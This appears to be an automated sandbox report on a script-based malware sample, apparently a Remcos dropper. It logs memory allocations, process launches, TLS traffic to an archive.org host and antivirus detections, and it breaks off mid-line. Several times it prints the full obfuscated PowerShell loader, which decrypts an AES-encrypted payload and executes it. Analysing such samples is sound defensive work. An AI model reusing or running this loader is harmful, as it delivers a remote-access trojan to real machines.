protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvf©Ö”]nýXì®ve/,rƒ' ™ºÌ:.YFV´Ï/5 ÀÀÀ À 285ÿia803104.us.archive.org  
Data sent zvf©×Ãúù¦*·(m´#îv§ì¾5؂ƒ›H­æ§/5 ÀÀÀ À 285ÿia803104.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Skyhigh BehavesLike.VBS.Dropper.dp
Symantec ISB.Downloader!gen81
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
Ikarus Trojan.VBS.Agent
Google Detected
Kingsoft Script.Dropper.vbs.2023281
Microsoft Trojan:VBS/Remcos.RTDH!MTB
Varist JS/Agent.CKS
huorong VirTool/PS.Obfuscator.v
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

send

 buffer: zvf©Ö”]nýXì®ve/,rƒ' ™ºÌ:.YFV´Ï/5 ÀÀÀ À 285ÿia803104.us.archive.org  
socket: 1316
sent: 127
1 127 0

send

 buffer: zvf©×Ãúù¦*·(m´#îv§ì¾5؂ƒ›H­æ§/5 ÀÀÀ À 285ÿia803104.us.archive.org  
socket: 1316
sent: 127
1 127 0
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJ